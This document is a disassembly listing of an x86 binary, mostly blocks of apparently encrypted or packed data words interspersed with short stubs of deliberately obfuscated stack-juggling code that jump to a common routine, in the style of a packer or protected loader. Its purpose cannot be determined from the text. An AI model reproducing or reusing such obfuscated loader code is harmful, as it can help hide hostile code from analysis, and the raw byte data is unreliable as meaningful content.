dd 5F2E5434h, 78000000h, 788F492Bh, 0FE03BB9Eh, 51B40107h
dd 0BA2D9025h, 0E294CB11h, 443E44FEh, 72A4A961h, 0D7B160BDh
dd 8F492FEEh, 0B68FDFE4h, 0CCD4C00Bh, 302A30DBh, 807A944Eh
dd 878C442Bh, 0BAA16E40h, 90482D29h, 99AA8D8Bh, 38E157Ch
dd 0E6EB963Eh, 236EC3F0h, 1674C9FAh, 5434ADE8h, 103h, 462B4D00h
dd 0A58B898Eh, 0FFE8E6EBh, 5E444247h, 0B86D9FA4h, 416E185Bh
dd 0FDB59AECh, 6E280CE6h, 36DA0668h, 0A7520CF2h, 9FFD6D90h
dd 20732E5Ah, 7D371D1Bh, 0F1AB9163h, 0A00AA5ECh, 0C26121DAh
dd 3047FFE8h, 0DA9FA40Dh, 8187DA21h, 7F65B70Ch, 0F3D9ABC5h
dd 50363439h, 0E0299196h, 99533983h, 0EB65A17Fh, 0A8E53D4h
dd 0D8000001h, 45844FD1h, 0BAA08F22h, 9994E729h, 29BAA118h
dd 631B045Eh, 11BC675Eh, 86FFD7FAh, 26792E5Ah, 833D2321h
dd 0F7B19769h, 0FB0EF4F2h, 0AACE91E0h, 7B331625h, 222025D0h
dd 817F843Eh, 0B2DEE39Dh, 654A9CF1h, 6B1A8ADh, 0FA4CA1EAh
dd 62405A14h, 53D4B724h, 444Fh, 77305C00h, 0C4BDC154h
dd 0C6DE0006h, 4D5109ECh, 0C36AE8D0h, 0EC40465Eh, 0CEF10825h
dd 56454703h, 0DC23287Bh, 0A9BAB8D5h, 0D67AD798h, 0B0D3EA4Bh
dd 0D6457621h, 0F6BBDE9Dh, 8029BA89h, 6668822Dh, 6Dh, 0F04FD1FCh
dd 0D16E9AD9h, 1493EBADh, 0EFABEEF4h, 492E59E0h, 0DF3F1F6h
dd 81673953h, 517BC2C7h, 0B821D9E1h, 765CAE03h, 916BA2BCh
dd 9BEFF5AFh, 7C9FB675h, 267CE603h, 0BDBBC013h, 238EB1D7h
dd 5B29B2DAh, 7465D08h, 0B2D9CDE4h, 2DE5CE29h, 75A3128h
dd 91BEB401h, 0A380903Ch, 0DF16698Ch, 0D1242E55h, 0C2A680B7h
dd 60C0308h, 0F04FD1E4h, 385B9AD9h, 29BAA079h, 0A10FA2C5h
dd 146729BAh, 59E6EA3Dh, 86521304h, 37CBFC5h, 132E5D4Bh
dd 181DD7B9h, 73717621h, 0E7B9D38Dh, 0FB424701h, 326274EDh
dd 0EDF2AC90h, 494E06EFh, 0F83B98E1h, 90479CD1h, 74832E51h
dd 0A8FB15A6h, 535911F6h, 9FB97359h, 282DE7CDh, 8489412Ah
dd 0BA0C618Eh, 2E001AD4h, 5B898E48h, 1Ch, 3AF4DAB4h, 16383E35h
dd 0C7EA2924h, 29BAA0EAh, 0FFB2D594h, 7729BAA0h, 51737924h
dd 8489432Bh, 0E1E6A086h, 434800E3h, 0A2A76145h, 308C2A4h
dd 64692305h, 0C0C57D66h, 2025DDC2h, 7E833B22h, 5D54556Dh
dd 4C581h, 0ED830000h, 242C8704h, 4EC835Ch, 68240489h
dd 1074h, 52243C89h, 0E70743BAh, 2C815207h, 0B0500024h
dd 55864h, 5A64B050h, 243C8B54h, 5304C483h, 8BBh, 0F8EB8100h
dd 106695Dh, 0F8C381FBh, 8906695Dh, 3C8B5B03h, 0E0895024h
dd 405h, 4C08300h, 5C240487h, 5024048Bh, 405E089h, 83000000h
dd 48704C0h, 0A8E95C24h, 26FFF974h, 0E70BB9B8h, 0FFC50307h
dd 0BAD339E0h, 0B13D7950h, 0DBD4D07Bh, 0BADC751Ah, 0ED176F46h
dd 0AE123400h, 15124767h, 0A1E34D6Ah, 6A8D8D1Bh, 63E3235Dh
dd 0E7B0725Fh, 88286762h, 0A1323C41h, 0CE5883Ah, 1C63B260h
dd 6FAF522h, 0A7E21A25h, 0EC8CCB40h, 627CC621h, 3EC40F21h
dd 2CE932h, 86C60000h, 77Bh, 9 dup(0)
dd 5CE90000h, 0EE000005h, 60324C06h, 0D5A7C179h, 4C1E38F0h
dd 0BF91AB63h, 0B40923DDh, 7A34160Bh, 0F0AA8E60h, 692104D6h
dd 0DD977D4Fh, 0D5F8E3C3h, 21D394DCh, 0C69630A2h, 4B500AECh
dd 6E544E54h, 0CFB1AFB4h, 4329FB15h, 0F7DE9D82h, 988F943Fh
dd 0A1535E81h, 0D82B29BAh, 99C5282Dh, 0F9F4D7CAh, 324BC719h
dd 0D03D585Ch, 0CD40A14Bh, 41ECD49Bh, 0EFF4AC8Fh, 12F8F2F8h
dd 6E555358h, 0CEB3B1B6h, 2C131116h, 8E716F74h, 0B3DAD1D6h
dd 0B7DE217Eh, 20DABE98h, 0A91E241Bh, 621C0254h, 53371148h
dd 999D9499h, 0A4F2F5C8h, 0DFD9DFB6h, 582A44FCh, 0BAB8BD75h
dd 21171CD6h, 0EE89FF4h, 0CC866827h, 2025D0C7h, 6C768D0h
dd 0D984D201h, 37F6D9D3h, 9A91964Eh, 1D03D5EFh, 21FB5E63h
dd 3D80863Eh, 29BA7B71h, 0D12F84B5h, 5434CC95h, 77BEh
dd 452B0800h, 703F868Bh, 0B429BAA1h, 92D02E83h, 0BD5434EAh
dd 1, 85442B07h, 3A3FEAA2h, 314FDD7h, 5BAC85B2h, 8D933EC2h
dd 0EFF4AC93h, 1AFB608Ch, 0A4252395h, 4F540EF2h, 6F585258h
dd 203FB2B7h, 0BCA36446h, 5D545904h, 40AC2ABh, 1E8328Fh
dd 0CCF82F49h, 2FE2B04Ch, 80A3BAC7h, 29BA9731h, 0FAF4FA4Dh
dd 69435A14h, 22DCC283h, 767B261Dh, 1D17797Fh, 8A8F492Bh
dd 5E81A58Ch, 29BAA153h, 282DD82Bh, 0D01A77C0h, 481A34EEh
dd 40A3A862h, 0C3C98166h, 4025E4C9h, 7CD8DD88h, 2A68C61Bh
dd 655434E8h, 95h, 0A1103372h, 0B029BA96h, 0B4F31945h
dd 0A9FCD3F2h, 417909A5h, 1F25CA92h, 8ECC6FDh, 4C52494Eh
dd 0B1B67052h, 0FF16CEB3h, 83894325h, 318EC336h, 4F2F5682h
dd 84DC0359h, 2C31E9D2h, 53352F35h, 0CBAD7F99h, 250E0C11h
dd 0C10C686Dh, 4046FEE7h, 0FA1876CBh, 3A5434FCh, 0B228B80Eh
dd 3249F15Eh, 0BA1EA20Fh, 8389DC29h, 46FFh, 492B4900h
dd 0A98C8A8Fh, 5BAECF1h, 0BB7C5EA8h, 20171CD4h, 0E5245B75h
dd 0A12E83A6h, 0F54829BAh, 0BAA0B7FAh, 666CBF29h, 3ECC644h
dd 494F464Bh, 0ABB0684Fh, 0BAA14A64h, 54A9DA29h, 34EAC8F6h
dd 1E354h, 2B2D0000h, 8B898E46h, 0F0E6EBA5h, 371C6EC3h
dd 0FC3C687Fh, 2A8952D7h, 78A4060Ch, 51748BA8h, 2E59E219h
dd 0F9F7FC4Fh, 0B56D5213h, 0F40EB9B0h, 7D823C22h, 0D9E17936h
dd 89412621h, 0DFA08684h, 8E933EF6h, 0FF5AD90h, 0D4BA055Ah
dd 9278C21Fh, 432AEBD1h, 0E48F868Bh, 0C0E32239h, 21D9E1F1h
dd 0D2343A8Dh, 49601A00h, 0E1CAE70Ah, 61B421D9h, 2A100E5Bh
dd 0BA036B70h, 4682AE65h, 0CB1F68E7h, 0BCA29CA2h, 2E11EB02h
dd 25DDC476h, 0C1232920h, 0D4D9A7E3h, 361BF553h, 5EF4787Eh
dd 1000001h, 9E0AE4D5h, 80C4999h, 58ED4FC3h, 83A5ABA1h
dd 0DE109AC6h, 3A79103Ah, 0A8AC56E9h, 0DCC16741h, 1F737924h
dd 0F81B32F1h, 2E5A7BDEh, 2000558h, 1148621Ch, 8CE6E2E5h
dd 0E294B705h, 433D43FBh, 608CA35Dh, 35D6D0B8h, 14874FDDh
dd 0F9D40408h, 2004D53h, 0BC745B1Ch, 2A0EC0B7h, 58C0C570h
dd 0AA624B25h, 33A8AEA5h, 0ECA68CDEh, 92B6F4D2h, 2EE153D4h
dd 2B000000h, 0D8EF4ED1h, 455E1CB5h, 0F6F6A256h, 3122D033h
dd 0BE050AB5h, 0A9BAD6F3h, 0C06CC182h, 9ABDD451h, 0D6459437h
dd 50526CBFh, 0B9h, 0E94FD1E6h, 0A7614302h, 5500F7FCh
dd 0A47F1B3Eh, 0A6F92E5Ah, 17D1B58Fh, 0C8151B12h, 132AE4CAh
dd 0E7995339h, 0E0424800h, 576E280Eh, 0D6DC947Dh, 694C2689h
dd 0AFB5ACB1h, 0DA9D606Ch, 0BD12C721h, 3B72856Bh, 0E4DF055Fh
dd 6F9BB560h, 2C6B82A1h, 0DA73A809h, 757BCE21h, 802CF316h
dd 0D72A267Dh, 34EED4D2h, 0F6BBDE1Dh, 8029B37Fh, 0E4DA272Dh
dd 4B0AF3CDh, 0FE03AE66h, 8039789Bh, 0F24529B3h, 77CC4147h
dd 0C3A781C0h, 120D0409h, 29B37F9Fh, 0B69784AAh, 7A51DC4Eh
dd 0D5803A20h, 96957BCFh, 88C35C7Fh, 79532E56h, 72D5DA92h
dd 0DA78624Fh, 1EC91C21h, 8CA6F918h, 0F04FD192h, 0AD69B6D9h
dd 9EF12E5Dh, 0FBB59B99h, 6F290FE1h, 28FC236Ah, 0F52A213Fh
dd 0AE684E98h, 22DCC294h, 0FCE0BA1Dh, 8FEB3D6h, 2578223Fh
dd 787E757Ah, 0D8DD957Eh, 0E58B5E2h, 82546E28h, 0AFDDE29Ch
dd 19h, 394C2E08h, 5390FFBEh, 151BC617h, 4F2924F3h, 0CC6A869h
dd 5F651007h, 89432B3Dh, 0E6A08684h, 4800E3E1h, 0A7614543h
dd 8C2A4A2h, 69230503h, 0C57D6664h, 25DDC2C0h, 833B2220h
dd 89516D7Eh, 4C181E1h, 53000000h, 4BBh, 5BD92900h, 5C240C87h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], ecx
push eax
mov eax, 21EF53ECh
xchg eax, ecx
inc ecx
xchg eax, ecx
add eax, 0E5F7B8D6h
mov edi, eax
pop eax
push esp
mov ecx, [esp]
add esp, 4
push ebx
mov ebx, 8
sub ebx, 77BA17D4h
add ebx, ecx
add ebx, 77BA17D4h
mov [ebx], edi
pop ebx
push dword ptr [esp]
pop ecx
add esp, 4
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
pop esp
jmp loc_554887
; ---------------------------------------------------------------------------
dw 8E3Dh
dd 0B8D82A26h, 7E7118Ah, 0E0FFC503h, 55CFA37Ch, 6104311Ch
dd 633DB6BBh, 7E2CD45Eh, 12BEF467h, 1CFA1618h, 16020B8Ah
dd 190AB225h, 1F085AD2h, 1C534B24h, 16F33712h, 15E9h, 26EF1100h
dd 23h, 3 dup(0)
dd 22E90000h, 9E000005h, 10E2FCB6h, 85577129h, 0FCCEE8A0h
dd 6F415B13h, 64B9D38Dh, 2AE4C67Bh, 0A05A3E10h, 19D1B486h
dd 8D472DFFh, 85A89373h, 21D38F2Ch, 0CA09E052h, 0D38F0AA7h
dd 351A7421h, 0D681787Dh, 452BAED0h, 0A688868Bh, 1A00D2ECh
dd 775D5B60h, 4467A6BDh, 29BAA16Dh, 63B0B609h, 0C1C67E65h
dd 72C4194Eh, 0E1BBD28Ch, 453C41FBh, 280BDD3Fh, 0AF2A9717h
dd 0BBA2F2E6h, 5C07FE03h, 0E2C597B1h, 8128EAD1h, 0BA71535Eh
dd 0D4D82B29h, 17C20DC7h, 8A442600h, 0FAD43784h, 635A5F17h
dd 6C7F635Dh, 0D9162028h, 9CA14C47h, 0D22479A6h, 934B30EFh
dd 16FCCEE8h, 0C8F4575Ch, 0AD7D55D3h, 0A5E8EEACh, 29B9AE09h
dd 3997EC1Dh, 5434190Dh, 0A52F1F4Bh, 0FE93E957h, 5B74F8h
dd 2BBE0000h, 23868B45h, 0C47754F7h, 262024DEh, 60A3A96Ah
dd 29B9E64Fh, 0F14FA4D5h, 543451B5h, 1DEh, 442B2800h, 0A289878Ch
dd 0FEE7E5EAh, 99CE4146h, 0FA0BF244h, 1211D23Fh, 4B6E85F7h
dd 29BA3466h, 0F812BD10h, 6F864026h, 9F7FAF43h, 650284D4h
dd 0AE9CA078h, 0B11319A9h, 8F492BB7h, 0EDA58C8Ah, 601AFCD6h
dd 115E645Bh, 0B90360A9h, 772F16D7h, 0FAE0B2CCh, 0FED83B40h
dd 655C6119h, 0C880655Fh, 624F72B1h, 0EF29BAA1h, 0E0258009h
dd 398C637Bh, 298AE633h, 285876D4h, 52735434h, 0BD000000h
dd 8A8F492Bh, 0EAEFA78Ch, 36ED4277h, 7C38720Ah, 5B611ED6h
dd 0ABC57F61h, 383DF7D9h, 9499513Ah, 247AD738h, 54340BF6h
dd 5021h, 492B6B00h, 0A98C8A8Fh, 5BAECF1h, 697C5EA8h, 856B7211h
dd 0CBCFC6CBh, 7E828615h, 82E938FFh, 405A0520h, 8C442B46h
dd 0A16E4087h, 85B629BAh, 0EA94D228h, 16BF5434h, 0CC000000h
dd 862B4E8Dh, 0F029BA94h, 950FA29Dh, 0D6729BAh, 0C0C6712Bh
dd 8E462B9Eh, 0EBA58B89h, 6EC3F0E6h, 0F013371Ch, 29BAA0C1h
dd 0A5BF6ABDh, 0A50C2F6Eh, 0D129BAA0h, 0FC24787Eh, 0BDE9283Fh
dd 0CA50BFE6h, 1AFA64FBh, 333BF9FDh, 3733767Ch, 712E5A5Eh
dd 0F5FAB297h, 86D9F8FEh, 0E39D8381h, 5711F7C9h, 60A40B52h
dd 0EC321DAh, 0C78167B1h, 38F2D6B0h, 2253C33h, 21DA60AFh
dd 0C6E74C7h, 5C14FBD5h, 605A6057h, 9431677Ah, 0FED7FD5Dh
dd 6A504E53h, 0C8ADABB0h, 2B0D0B10h, 7F406C71h, 90C3DF22h
dd 161BD3B6h, 4FA4191Fh, 435D17FDh, 0D4E33965h, 1315253h
dd 855F0000h, 0BFE1E7A1h, 0D9F04FD1h, 735A1BFFh, 14BFB6BBh
dd 4470AF0Eh, 59345E0Ah, 9A523953h, 30A6E9EFh, 862E59BEh
dd 0DF91492Ch, 443B40F8h, 0B0969499h, 4B5008EFh, 588FA954h
dd 0D9DE987Eh, 0FCE2DCE2h, 593F3D42h, 0E9329A9Fh, 0A25C4294h
dd 57CAA88h, 609753D4h, 0A4000000h, 292EE8CAh, 0B9F81B32h
dd 0C521D9A5h, 0D14A6C72h, 99D8EF4Eh, 0BAA13B76h, 0EAF04329h
dd 5E69688Bh, 82D55645h, 0F2AA916Bh, 59589FECh, 1CA9BAA2h
dd 0A20F3271h, 0DCA9BAA1h, 0B10E8389h, 8D452802h, 378B9188h
dd 13364DE8h, 0D6455EBEh, 793A1EF8h, 2E33DE96h, 0BF123137h
dd 79A3A5h, 0D1390000h, 0B6D9F04Fh, 2E5AA4E4h, 9F02075Ah
dd 97BADEC5h, 21DA9D1Ah, 61661164h, 0C625A411h, 0CF7AFD27h
dd 2FE9CFC9h, 0A35D4315h, 1B75579Eh, 27DC21DAh, 0E09A80CAh
dd 41638FC6h, 5F35FDFEh, 0F41C7076h, 8D924C30h, 95D4EB96h
dd 8A0BA069h, 465D9CFAh, 0D9BB8E23h, 8F95E821h, 7CCE1A4Ch
dd 1E025C26h, 0B6B4B964h, 1B1116D0h, 23ED91EEh, 9CCAED04h
dd 0DA2E55BBh, 0D1736D87h, 9AD9F04Fh, 0E098815Bh, 0C8E9E4DBh
dd 0AE29BAA0h, 9B46E54h, 0B2A6C003h, 0C6A02E5Dh, 22127DFh
dd 0AEE8E56h, 0C686C26h, 1C53A78h, 137C8C77h, 7AA6BD68h
dd 5EBDEB93h, 0E5B618Fh, 56702A10h, 0DFE49E84h, 93854C98h
dd 0B00D4205h, 0ACC68066h, 4D33F4DAh, 0F7D1E893h, 5D545913h
dd 0CDA70A57h, 2E282EE6h, 9C768D45h, 2F9FEB8h, 8CB9AFFCh
dd 0FA548037h, 0B8CE84D2h, 36965559h, 1F9868B0h, 13391F19h
dd 9491C1F0h, 4600E206h, 20734A41h, 0A3895B75h, 3C41F9E2h
dd 67959A45h, 3, 2B6624FDh, 86848943h, 0E3E1E6A0h, 45434800h
dd 0A4A2A761h, 50308C2h, 66646923h, 0C2C0C57Dh, 222025DDh
dd 6D7E833Bh, 81E68956h, 4C6h, 4EE8300h, 31243433h, 34332434h
dd 6B685C24h, 89000033h, 2568243Ch, 8900001Bh, 7368242Ch
dd 8B07E712h, 0C481243Ch, 4, 56468h, 24248900h, 4240481h
dd 5D000000h, 287C68h, 243C8900h, 9243481h, 8F5AB55Dh
dd 75810845h, 0B55D0908h, 242C8B5Ah, 81E28952h, 4C2h, 4C28100h
dd 87000000h, 8B5C2414h
db 3Ch, 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_554887
; ---------------------------------------------------------------------------
db 89h
dd 566FA763h, 1704B8AEh, 0C50307E7h, 0ABABE0FFh, 0ADF77D03h
dd 0B80627FBh, 2EA5695Fh, 808844BAh, 548546D4h, 65CD1487h
dd 4844FF4h, 27622C16h, 475843FCh, 8D8D764Fh, 7E718A0h
dd 304DB529h, 8D8907E0h, 7E01815h, 2631958Bh, 85C707E0h
dd 7E02049h, 6B84h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 19h, 0A7C35747h, 587E1EB9h, 25953102h, 0C707E033h
dd 0E022C585h, 7, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1C04h, 0C3554500h, 95FBFA2Bh, 52C38BD4h
dd 0ADB5FFF4h, 6A07E012h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1B042444h, 46000000h, 9679C356h, 5DC0E7AFh
dd 0B5896DA6h, 7E02191h, 209195FFh, 6A07E0h, 3E850h, 58200000h
dd 448958C3h, 44810424h, 190424h, 50400000h, 68AF91C3h
dd 89AF0083h, 0E026B18Dh, 0FF006A07h, 0E018A995h, 0EBC08B07h
dd 13E8A61Ch, 8F1AF1F5h, 0FB8506D7h, 0B5BB096Eh, 99FF4FC1h
dd 0D2D984F2h, 0B4E723F0h, 588D8D6Eh, 8907E719h, 0E0169DBDh
dd 158D8907h, 6A07E018h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 16042444h, 42000000h, 1E1BC352h, 0A9B58B28h
dd 0E907E026h, 0Ah, 0B0D197BFh, 16921481h, 85C7B1CCh, 7E02049h
dd 598Ch, 10E9h, 0AA4FC600h, 0EC51BDF6h, 2BAFAAEEh, 0CB71D67Bh
dd 0C585C7D7h, 7E022h, 81000000h, 508440D8h, 49B5FF3Eh
dd 8907E01Eh, 0E012A595h, 9195FF07h, 0E907E020h, 5, 492BD531h
dd 0FF006A17h, 0E018A995h, 0EBC08B07h, 0EA0CE0Dh, 2B5612FDh
dd 0D0B60C90h, 5FE92E48h, 52000001h, 0E860D48Bh, 0
dd 78ED815Dh, 8B07E719h, 453D0842h, 0F782638h, 13885h
dd 0C428B00h, 0D3184A8Bh, 88A8BBC8h, 0C3331A1Eh, 8904E883h
dd 0E0181585h, 4588B07h, 428BF88Bh, 184A8B10h, 0B3BEC8D3h
dd 33BA6EF0h, 83C72BC6h, 0E883FCE0h, 49858904h, 8B07E020h
dd 85891442h, 7E022C5h, 5318428Bh, 0B0E9h, 0D5B5FF00h
dd 0E907E006h, 0B9h, 0F59B5FFh, 0AEE907E0h, 0FF000000h
dd 0E01B41B5h, 0A3E907h, 0B5FF0000h, 7E01BF5h, 98E9h, 0DDB5FF00h
dd 0E907E020h, 8Dh, 85DB5FFh, 82E907E0h, 0FF000000h, 0E004A9B5h
dd 77E907h, 0B5FF0000h, 7E02A35h, 6CE9h, 0ADB5FF00h, 0E907E012h
dd 61h, 2A5DB5FFh, 56E907E0h, 0FF000000h, 0E007A1B5h, 4BE907h
dd 0B5FF0000h, 7E023C5h, 40E9h, 61B5FF00h, 0E907E012h
dd 35h, 1E49B5FFh, 2AE907E0h, 0FF000000h, 0E022E5B5h, 1FE907h
dd 0B5FF0000h, 7E007B9h, 14E9h, 0B8D88B00h, 0Bh, 8DE3F766h
dd 0E719D98Dh, 0FFC80307h, 9195FFE1h, 5B07E020h, 1815858Bh
dd 583907E0h, 0F850F04h, 53000000h, 95FF016Ah, 7E018A9h
dd 0FFE2E95Bh, 5A61FFFFh, 0B85A61C3h, 77D4C96Ah, 858BE0FFh
dd 7E01881h, 1AC78D8Dh, 418907E7h, 0E9C38B01h, 0BAh, 7FC8DBD3h
dd 0CA459CD7h, 0B6E1C8C3h, 0A7ACABDAh, 4592B395h, 0B395A1F4h
dd 0ECABDA00h, 915D20A7h, 0B1F46BB2h, 20752096h, 6BB79B55h
dd 92A5BCF2h, 7594A196h, 0B799603Ah, 99BD329Fh, 9CB2E9B5h
dd 0A3F292A5h, 0EF7695ACh, 4E0097B1h, 9FA5B4F9h, 7B6B5C00h
dd 8A924AF0h, 0F352D000h, 0F653F545h, 0D6D979A3h, 0E3AFF144h
dd 7D41F445h, 92B000D7h, 756BBF97h, 0BFCF60FDh, 93BCF996h
dd 207D20B2h, 0ABF79B57h, 9EBD9492h, 9DBCE3B2h, 899BE0CEh
dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h
dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h
dd 0CDE90000h, 68000014h, 7E71DA2h, 0F9652EE9h, 1EA168FFh
dd 24E907E7h, 68FFF965h, 7E71F80h, 0F9651AE9h, 20B768FFh
dd 10E907E7h, 68FFF965h, 7E72129h, 0F96506E9h, 21D068FFh
dd 0FCE907E7h, 68FFF964h, 7E7228Fh, 0F964F2E9h, 233F68FFh
dd 0E8E907E7h, 68FFF964h, 7E723E1h, 0F964DEE9h, 256868FFh
dd 0D4E907E7h, 68FFF964h, 7E72650h, 0F964CAE9h, 27A768FFh
dd 0C0E907E7h, 68FFF964h, 7E7288Eh, 0F964B6E9h, 29D168FFh
dd 0ACE907E7h, 68FFF964h, 7E72B27h, 0F964A2E9h, 2D2068FFh
dd 98E907E7h, 68FFF964h, 7E72E0Ah, 0F9648EE9h, 0D69078FFh
dd 4B03EABCh, 0C27A5F31h, 35EDD6A8h, 0AD67491Bh, 0A0953E93h
dd 18EA04BEh, 8E607A34h, 7D9F3ABh, 6D4D6721h, 85525F82h
dd 0BA2C21D3h, 6487C620h, 29BAA14Dh, 2FE9CF29h, 674A6D84h
dd 0F29BAA1h, 0D6BCB6BCh, 2CD9051Ch, 7BE53E29h, 436E91A8h
dd 3B29B9E5h, 9795E2E8h, 0B1DDF7B1h, 998E776Fh, 309479B8h
dd 0B34B6E85h, 0C52E59DCh, 87266D72h, 0B621D9D3h, 64A2F855h
dd 8F53D42Bh, 4Dh, 773A5D9Ch, 2421D9CBh, 5BAE853Dh, 0ECC63355h
dd 4F464B03h, 0C2BF549h, 0A020D2F5h, 97562E5Ah, 0DAA03D74h
dd 0FADF3921h, 9B463D42h, 484D07E9h, 3EA1A651h, 0C1C68064h
dd 2C81C4CAh, 1121DAA0h, 0C1FD53B0h, 0EA53D4EBh, 0C9h
dd 8B452B34h, 0ECA68886h, 7A5884E7h, 0B98F14FEh, 341A141Ah
dd 3812757Ah, 9D979D55h, 0C8E3FDB7h, 29BA250Fh, 0D5ECA68Ch
dd 0E52255A9h, 979DBB0Ah, 0C37D6335h, 9B815BBEh, 0DFE5DCE1h
dd 614D858Bh, 0D2A119FEh, 21607722h, 0A7AC6447h, 0BFF3ACB0h
dd 0BC31CB3Dh, 34F73B6h, 76C92E5Ah, 43E0305Ch, 0E7CAED2Ch
dd 8F21DA42h, 0B4D7363Ch, 2677BE9Bh, 0D7B1C81Bh, 4F213BF5h
dd 0FDAB36Dh, 20E6128Ah, 12330937h, 0E5CD0000h, 583F112Bh
dd 0CFB486A0h, 422BFD17h, 0BC9E708Ah, 2A93E802h, 3F5913F5h
dd 0B5CF896Dh, 2E4800E3h, 0A2BC765Ch, 0FDB4D7C2h, 7921D383h
dd 492B6D07h, 1639788Fh, 29BAA09Bh, 288A90E3h, 9CB67056h
dd 0E94FD1A2h, 0E1444903h, 0BAA0F3BEh, 8D388B29h, 0EF1CBE2h
dd 0A85A5156h, 0B0207BFh, 6F83A605h, 892E5AA0h, 0A2CE3136h
dd 0E40723E0h, 21DA48CDh, 9A5256A9h, 0B4F7FD14h, 21D9BCF9h
dd 308EE344h, 53D40EF2h, 0B51Dh, 6E502A00h, 0B2B8AFB4h
dd 84452B90h, 3338E39Bh, 94995335h, 0BAA58A4Dh, 853F2529h
dd 0F9B3996Bh, 0B7749CF4h, 0DC774A0h, 9A9F593Bh, 30D49FA3h
dd 1D1D575Bh, 6E3F2529h, 0DCE60968h, 622E5A4Dh, 47C9F50Fh
dd 0B0AED1E8h, 26267804h, 0E2BCD3h, 0F6FAB7DAh, 2A8429B7h
dd 92898E48h, 17B2E3E7h, 869803ECh, 0DEFC1DBh, 11B57A53h
dd 0E1CAE612h, 1134B3h, 2AE4CC00h, 9F573E10h, 16CEB385h
dd 89412AFCh, 1BB9D6Fh, 0F42992E7h, 6C3E5812h, 0E2B4CE88h
dd 5B2D47FFh, 0C1A1BB75h, 82FEB3D6h, 67821D3h, 8F492B6Ch
dd 0FCBDA375h, 60575C16h, 6712CCAEh, 0ECC6534Dh, 0A8624403h
dd 0FB01F8FDh, 4A611B01h, 0F00CC61Eh, 0E0E699B3h, 0F5AF9593h
dd 682204DEh, 4A686C63h, 0C66404E8h, 693B9DA3h, 0DBB5CC84h
dd 0EA3A3FF9h, 779EE58Ch, 494FFA37h, 5E18FEFCh, 347EFA44h
dd 15384FECh, 2E5A1A51h, 987F3487h, 0D6500416h, 0F3BEE120h
dd 8B394FE3h, 32DE3238h, 0D7BBDEF5h, 213DEFF7h, 0F7F2BFE2h
dd 398C322Fh, 0E7ECA487h, 78CBEAF0h, 36F51B73h, 34D9FC1Fh
dd 35D36CFh, 0A3BA651Fh, 3922E3C9h, 0DA857C81h, 4E08EEC0h
dd 79773675h, 0B8E6CFD6h, 1055h, 0EF09C3ABh, 647E361Dh
dd 0DBF5AD92h, 4E682009h, 0C6E09A7Ch, 0F1D34871h, 674B1D37h
dd 0DEC193ADh, 543A0C26h, 0B5A0809Ah, 0D3821F92h, 4BE55721h
dd 9B84452Bh, 0DB3338E3h, 0BCDFF635h, 2E5A83C2h, 835EA854h
dd 92C10F88h, 7FA1CDE7h, 0E886A9C0h, 0E267A7Ch, 4265A4BBh
dd 29BA636Fh, 61AEB407h, 0BA62931Ah, 0F449AA29h, 0EE8F113Dh
dd 836DABBFh, 0B7BBD36Ch, 0D5DB8CC4h, 340E93CFh, 32BC54h
dd 0C6060000h, 0E359B99Ah, 1B2102A6h, 0C3DA59C7h, 5A7935A0h
dd 9277512Eh, 62B5D4DAh, 0D68E714Bh, 690EA1BCh, 0AB9121DAh
dd 2205D7F1h, 0A237656Ah, 0CD00000Fh, 0D9F04FD1h, 5DBA6AB6h
dd 4E71B02Eh, 21D38663h, 0A3C2C81Bh, 7B5F3950h, 825CBBC1h
dd 91C8E29Ch, 0EB0F4365h, 4C525EC5h, 12596C52h, 0C8123CC8h
dd 8DE5EA95h, 4E8DA483h, 0F8C5EC0Fh, 5EB121D2h, 12C01558h
dd 0E3362676h, 520CF2CCh, 0D8D9FC3Bh, 0C329B9EEh, 271E23DDh
dd 95F7FD50h, 8DA0845Eh, 0C888857Eh, 0AEB45F0Eh, 0F14CEB4h
dd 0B3CA69B7h, 5A2CE290h, 0F0C91C2Eh, 0EDF012B7h, 1E3D6B54h
dd 0E200000Fh, 542640FAh, 0C99BB56Dh, 40122CE4h, 0B3859F57h
dd 0A8FD17D1h, 6E280A3Fh, 0E49E8254h, 5D15F8CAh, 0D18B7143h
dd 0C9ECD7B7h, 21D380E8h, 0E2821C8Eh, 29BAA0CBh, 768DAA76h
dd 5DBB6A53h, 8299EC2Eh, 0F108C2A8h, 767C3417h, 9B5C4214h
dd 4B50FBB5h, 0D1B52DF3h, 1EDC5928h, 0E2051CC7h, 2672B29Ch
dd 0A55D409Ah, 94FE21FAh, 0A68FE617h, 0EAC78h, 0B26C5400h
dd 27DFC698h, 9E563B0Dh, 11C9B284h, 894325F7h, 7CB11A6Fh
dd 0F4C6E09Ah, 6A3C5610h, 0E3B5CF87h, 492943FDh, 7F763B5Eh
dd 8E0021D3h, 8B452BF4h, 0E8A28886h, 0E03D6EE3h, 0B660531h
dd 2DF4BA60h, 6AE52127h, 59335434h, 0BEB5BA72h
dd 6B702A0Ch, 0E4EA6E74h, 34000008h, 0D9F04FD1h, 5DBB14B6h
dd 20378A2Eh, 8CA66046h, 31AD4BAh, 8710A1C4h, 0A76621D3h
dd 0D3872D84h, 4BF64921h, 0FCB1F845h, 4521D386h, 6455CDBh
dd 0D386CEE3h, 4F55A821h, 69B1CDF0h, 54A72673h, 16E05E7Bh
dd 0DC0AF3E6h, 0E05h, 3F5913FBh, 0B4CE866Dh, 2B45FDE2h
dd 9EB87059h, 1630EACCh, 412318C1h, 0B79B6D87h, 2E11E3FDh
dd 0A48A5C76h, 5F0D0EAh, 0D37FCFE2h, 9B35A721h, 868B452Bh
dd 0E3E8A288h, 454A02E5h, 1C3F6547h, 29BAA095h, 0DEE38EE1h
dd 0A159587Bh, 0D22529BAh, 0D61976ABh, 0C9277CADh, 5434E69Dh
